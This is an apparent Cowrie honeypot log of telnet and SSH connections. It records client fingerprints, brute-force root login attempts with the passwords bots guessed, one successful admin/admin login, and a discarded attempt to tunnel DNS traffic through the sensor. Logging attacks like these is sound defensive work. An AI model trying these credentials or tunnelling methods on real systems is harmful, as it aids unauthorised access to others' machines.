{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58046,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fc2f613f508","protocol":"telnet","message":"New connection: 135.148.14.151:58046 (159.203.135.109:23) [session: 7fc2f613f508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:42:52.469045Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55890,"dst_ip":"159.203.135.109","dst_port":23,"session":"f02598e38a6e","protocol":"telnet","message":"New connection: 135.148.14.151:55890 (159.203.135.109:23) [session: f02598e38a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:42:54.778008Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58342,"dst_ip":"159.203.135.109","dst_port":23,"session":"2db8e3a1a008","protocol":"telnet","message":"New connection: 135.148.14.151:58342 (159.203.135.109:23) [session: 2db8e3a1a008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:42:56.177031Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60932,"dst_ip":"159.203.135.109","dst_port":23,"session":"906798001470","protocol":"telnet","message":"New connection: 135.148.14.151:60932 (159.203.135.109:23) [session: 906798001470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:13.098086Z"}
{"eventid":"cowrie.session.closed","duration":33.79115009307861,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:28.569038Z","src_ip":"135.148.14.151","session":"f02598e38a6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.18863892555237,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:30.657356Z","src_ip":"135.148.14.151","session":"7fc2f613f508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74005603790283,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:30.916896Z","src_ip":"135.148.14.151","session":"2db8e3a1a008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.03492999076843,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:49.132903Z","src_ip":"135.148.14.151","session":"906798001470","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":36590,"dst_ip":"159.203.135.109","dst_port":22,"session":"089d12b053c7","protocol":"ssh","message":"New connection: 103.77.242.62:36590 (159.203.135.109:22) [session: 089d12b053c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:57.079074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:57.084514Z","src_ip":"103.77.242.62","session":"089d12b053c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:57.342045Z","src_ip":"103.77.242.62","session":"089d12b053c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101010a","message":"login attempt [root/101010a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:58.115162Z","src_ip":"103.77.242.62","session":"089d12b053c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:43:59.376138Z","src_ip":"103.77.242.62","session":"089d12b053c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39632,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfbfce9ef1c0","protocol":"telnet","message":"New connection: 135.148.14.151:39632 (159.203.135.109:23) [session: bfbfce9ef1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:17.540860Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":52690,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3d7907b97f2","protocol":"ssh","message":"New connection: 103.82.20.28:52690 (10.17.0.5:22) [session: a3d7907b97f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:25.019465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:25.025158Z","src_ip":"103.82.20.28","session":"a3d7907b97f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:25.289449Z","src_ip":"103.82.20.28","session":"a3d7907b97f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345671234567","message":"login attempt [root/12345671234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:26.082517Z","src_ip":"103.82.20.28","session":"a3d7907b97f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:27.347775Z","src_ip":"103.82.20.28","session":"a3d7907b97f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:38.525825Z","src_ip":"89.223.69.22","session":"8972f57fa451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51300,"dst_ip":"159.203.135.109","dst_port":23,"session":"092ba93e5d83","protocol":"telnet","message":"New connection: 135.148.14.151:51300 (159.203.135.109:23) [session: 092ba93e5d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:43.418062Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":36794,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f0eb083618","protocol":"ssh","message":"New connection: 176.32.39.21:36794 (10.17.0.5:22) [session: f4f0eb083618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:52.350192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:52.442992Z","src_ip":"176.32.39.21","session":"f4f0eb083618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:52.485440Z","src_ip":"176.32.39.21","session":"f4f0eb083618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"komarova","message":"login attempt [root/komarova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:52.943988Z","src_ip":"176.32.39.21","session":"f4f0eb083618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.22047209739685,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:53.761204Z","src_ip":"135.148.14.151","session":"bfbfce9ef1c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:44:54.066595Z","src_ip":"176.32.39.21","session":"f4f0eb083618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35838,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ac94364fbc","protocol":"telnet","message":"New connection: 135.148.14.151:35838 (159.203.135.109:23) [session: 54ac94364fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:09.962208Z"}
{"eventid":"cowrie.session.closed","duration":33.00521802902222,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:16.423133Z","src_ip":"135.148.14.151","session":"092ba93e5d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59806,"dst_ip":"10.17.0.5","dst_port":22,"session":"72dee77fdc14","protocol":"ssh","message":"New connection: 87.251.64.176:59806 (10.17.0.5:22) [session: 72dee77fdc14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.115528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.122549Z","src_ip":"87.251.64.176","session":"72dee77fdc14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.218347Z","src_ip":"87.251.64.176","session":"72dee77fdc14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"d302d78751c8","protocol":"ssh","message":"New connection: 103.27.238.116:43174 (10.17.0.5:22) [session: d302d78751c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.460267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.473185Z","src_ip":"103.27.238.116","session":"d302d78751c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.505982Z","src_ip":"87.251.64.176","session":"72dee77fdc14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":36492,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee3991b8e704","protocol":"ssh","message":"New connection: 103.27.238.120:36492 (10.17.0.5:22) [session: ee3991b8e704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.570480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.580009Z","src_ip":"103.27.238.120","session":"ee3991b8e704","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.603590Z","session":"72dee77fdc14","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.701580Z","src_ip":"87.251.64.176","session":"72dee77fdc14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.753047Z","src_ip":"103.27.238.116","session":"d302d78751c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.799165Z","src_ip":"87.251.64.176","session":"72dee77fdc14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:17.856796Z","src_ip":"103.27.238.120","session":"ee3991b8e704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnjvfnjkju","message":"login attempt [root/cnjvfnjkju] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:18.580378Z","src_ip":"103.27.238.116","session":"d302d78751c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1990","message":"login attempt [root/anna1990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:18.687891Z","src_ip":"103.27.238.120","session":"ee3991b8e704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:19.860055Z","src_ip":"103.27.238.116","session":"d302d78751c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:19.973435Z","src_ip":"103.27.238.120","session":"ee3991b8e704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43614,"dst_ip":"159.203.135.109","dst_port":23,"session":"8132cd281ada","protocol":"telnet","message":"New connection: 135.148.14.151:43614 (159.203.135.109:23) [session: 8132cd281ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:23.990151Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58462,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9e0841311eb","protocol":"telnet","message":"New connection: 135.148.14.151:58462 (159.203.135.109:23) [session: b9e0841311eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:57.345134Z"}
{"eventid":"cowrie.session.closed","duration":35.97783803939819,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:45:59.967890Z","src_ip":"135.148.14.151","session":"8132cd281ada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33042,"dst_ip":"159.203.135.109","dst_port":23,"session":"b90ee9fe0e08","protocol":"telnet","message":"New connection: 135.148.14.151:33042 (159.203.135.109:23) [session: b90ee9fe0e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:03.240773Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34398,"dst_ip":"159.203.135.109","dst_port":23,"session":"be1f77fa9769","protocol":"telnet","message":"New connection: 135.148.14.151:34398 (159.203.135.109:23) [session: be1f77fa9769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:46:06.265788Z"}
